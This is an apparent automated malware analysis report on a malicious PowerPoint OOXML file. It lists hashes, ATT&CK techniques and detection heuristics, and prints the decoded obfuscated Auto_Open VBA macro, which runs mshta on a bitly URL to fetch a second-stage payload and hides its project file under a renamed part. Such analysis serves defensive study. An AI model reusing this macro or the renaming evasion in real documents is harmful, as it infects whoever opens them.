Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c96c062a7e0be759…

MALICIOUS

Office (OOXML)

7.8 KB First seen: 2021-07-02
MD5: e9b8d84ce322f9af6d003042bf9a35b9 SHA-1: 814c2dec69b1c5bdfdd0d4125b49affeda341c2c SHA-256: c96c062a7e0be759cba1e3aa0e35f6bfd5863ba4ecfdfefc4809d5eabd6f9c01
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML file contains a VBA macro that is automatically executed upon opening, as indicated by the Auto_Open macro firing. This macro constructs a URL by concatenating string literals: "http://www.bitly.com/hwdwdowdkwkdmwqwhda". It then uses the ShellExecute API to open this URL, likely to download and execute a second-stage payload.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/aza.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub _
    Auto_Open _
    ()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1083 bytes
SHA-256: 6f6ffb1c3705a3051cb7aa28e6d133dee2917d71b9b2394c9be8f764e09bbdd8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Const _
SW_SHOW _
= _
1
Const _
SW_SHOWMAXIMIZED _
= _
3

Public _
Declare _
Function _
ShellExecute _
Lib _
"Shell32.dll" _
Alias _
"ShellExecuteA" _
  (ByVal _
  hwnd _
  As _
  Long _
  , _
   ByVal _
   lpOperation _
   As _
   String _
   , _
   ByVal lpFile As String _
   , _
   ByVal lpParameters As String _
   , _
   ByVal lpDirectory As String _
   , _
   ByVal nShowCmd As Long) As Long
Function koko()



koko _
= _
"m" _
+ _
"s" _
+ _
"h" _
+ _
"t" _
+ _
"a"
End _
Function
Sub _
Auto_Open _
()
  Dim _
  RetVal _
  As _
  Long
  On _
  Error _
  Resume _
  Next
  RetVal _
  = _
  ShellExecute _
  (0, "open", koko, "h" _
  + _
  "t" _
  + _
  "t" _
  + _
  "p" _
  + _
  ":" _
  + _
  "/" _
  + _
  "/" _
  + _
  "w" _
  + _
  "w" _
  + "w" + "." + "b" + "i" + "t" + "l" + "y" + "." + "c" + "o" + "m/hwdwdowdkwkdmwqwhda", _
                        "%public%" _
                        , _
                        SW_SHOWMinimize)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/aza.bin 15360 bytes
SHA-256: d02da8a5e7c6e8afbcf1f1524f99e68330b4e509ecda8ff8d21c3da7dfa716d0